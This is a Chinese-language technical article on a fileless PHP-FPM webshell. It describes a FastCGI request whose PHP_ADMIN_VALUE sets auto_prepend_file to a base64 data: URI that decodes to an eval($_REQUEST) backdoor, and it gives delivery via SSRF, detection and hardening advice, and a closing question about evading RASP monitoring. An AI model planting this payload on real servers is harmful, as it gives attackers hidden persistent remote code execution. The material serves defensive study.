利用 PHP-FPM 做内存马的方法
字数 1288 2025-08-26 22:11:22

PHP-FPM 内存马技术研究

前言

PHP作为主流服务端Web语言,长期以来缺乏真正的内存驻留技术。传统PHP内存马主要有两种实现方式:

  1. "不死马":通过死循环强占PHP进程,不间断写入PHP shell或执行代码
    • 缺点:阻塞进程,仍需本地落盘文件
  2. Fastcgi马:利用PHP-FPM通过fastcgi协议通讯
    • 缺点:仅是对FPM未授权访问的漏洞利用,非真正内存马

技术原理

PHP-FPM作为fastcgi server,其进程是持久化的。关键发现:

  • 在一次fastcgi请求中,通过PHP_VALUE/PHP_ADMIN_VALUE修改的PHP配置值会在FPM进程生命周期内保留
  • 利用auto_prepend_file配合data协议可实现代码内存驻留

实现方法

攻击流程

  1. 构造fastcgi请求包,关键字段:

    array(15) {
      ["GATEWAY_INTERFACE"]=> string(11) "FastCGI/1.0"
      ["REQUEST_METHOD"]=> string(3) "GET"
      ["SCRIPT_FILENAME"]=> string(30) "/home/www/wofeiwo/t.php" // 任意存在的PHP文件
      ["PHP_ADMIN_VALUE"]=> string(102) "allow_url_include = On 
        auto_prepend_file = \"data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\""
      // 其他常规fastcgi字段...
    }
    
  2. Payload说明:

    • allow_url_include = On:启用URL包含
    • auto_prepend_file:设置为data协议的base64编码PHP代码
    • 示例payload解码为:<?php @eval($_REQUEST[test]); ?>
  3. 发送到FPM监听端口(可通过SSRF或已有Web权限)

触发方式

  • 植入后,访问服务器上任意正常PHP文件都会自动执行内存中的恶意代码
  • 无需修改任何实际文件,完全内存驻留

技术特点

  1. 隐蔽性

    • 无文件落地
    • 不依赖php://input,仅需GET请求
    • 不修改实际PHP文件内容
  2. 持久性

    • 配置修改在FPM Worker进程生命周期内有效
    • 默认配置下(pm.max_requests=0)可长期驻留
  3. 感染范围

    • 需针对每个Worker进程单独发送请求
    • 服务器有多个Worker时需要多次发送

检测与防御

检测方法

  1. 配置检查

    • 监控auto_prepend_file/auto_append_file/allow_url_include配置变化
    • RASP工具可检测这些关键配置的修改
  2. 行为监控

    • 网络流量中检测后门payload
    • 进程行为分析
  3. 日志分析

    • FPM日志中异常fastcgi请求

防御措施

  1. 访问控制

    • 限制FPM端口访问权限
    • 防止SSRF漏洞
  2. 配置加固

    • 设置pm.max_requests让Worker定期重启
    • 禁用不必要的PHP特性:allow_url_include = Off
  3. 监控预警

    • 部署RASP解决方案
    • 建立配置变更监控

扩展思考

  1. mod_php模式:是否可能在Apache模块模式下实现内存马?
  2. 替代触发:除auto_prepend_file外是否有其他触发方案?
  3. 持久化:如何避免Worker重生或服务重启导致失效?
  4. 对抗检测:如何绕过RASP对配置变更的监控?

总结

PHP-FPM内存马技术利用fastcgi协议和PHP配置持久化特性,实现了真正的无文件内存驻留后门。相比传统方法具有更高的隐蔽性和持久性,是高级持续性威胁的有效手段。防御需从多层面入手,结合访问控制、配置加固和实时监控。

PHP-FPM 内存马技术研究 前言 PHP作为主流服务端Web语言,长期以来缺乏真正的内存驻留技术。传统PHP内存马主要有两种实现方式: "不死马" :通过死循环强占PHP进程,不间断写入PHP shell或执行代码 缺点:阻塞进程,仍需本地落盘文件 Fastcgi马 :利用PHP-FPM通过fastcgi协议通讯 缺点:仅是对FPM未授权访问的漏洞利用,非真正内存马 技术原理 PHP-FPM作为fastcgi server,其进程是持久化的。关键发现: 在一次fastcgi请求中,通过 PHP_VALUE / PHP_ADMIN_VALUE 修改的PHP配置值会在FPM进程生命周期内保留 利用 auto_prepend_file 配合 data 协议可实现代码内存驻留 实现方法 攻击流程 构造fastcgi请求包,关键字段: Payload说明: allow_url_include = On :启用URL包含 auto_prepend_file :设置为data协议的base64编码PHP代码 示例payload解码为: <?php @eval($_REQUEST[test]); ?> 发送到FPM监听端口(可通过SSRF或已有Web权限) 触发方式 植入后,访问服务器上任意正常PHP文件都会自动执行内存中的恶意代码 无需修改任何实际文件,完全内存驻留 技术特点 隐蔽性 : 无文件落地 不依赖php://input,仅需GET请求 不修改实际PHP文件内容 持久性 : 配置修改在FPM Worker进程生命周期内有效 默认配置下(pm.max_ requests=0)可长期驻留 感染范围 : 需针对每个Worker进程单独发送请求 服务器有多个Worker时需要多次发送 检测与防御 检测方法 配置检查 : 监控 auto_prepend_file / auto_append_file / allow_url_include 配置变化 RASP工具可检测这些关键配置的修改 行为监控 : 网络流量中检测后门payload 进程行为分析 日志分析 : FPM日志中异常fastcgi请求 防御措施 访问控制 : 限制FPM端口访问权限 防止SSRF漏洞 配置加固 : 设置 pm.max_requests 让Worker定期重启 禁用不必要的PHP特性: allow_url_include = Off 监控预警 : 部署RASP解决方案 建立配置变更监控 扩展思考 mod_ php模式 :是否可能在Apache模块模式下实现内存马? 替代触发 :除 auto_prepend_file 外是否有其他触发方案? 持久化 :如何避免Worker重生或服务重启导致失效? 对抗检测 :如何绕过RASP对配置变更的监控? 总结 PHP-FPM内存马技术利用fastcgi协议和PHP配置持久化特性,实现了真正的无文件内存驻留后门。相比传统方法具有更高的隐蔽性和持久性,是高级持续性威胁的有效手段。防御需从多层面入手,结合访问控制、配置加固和实时监控。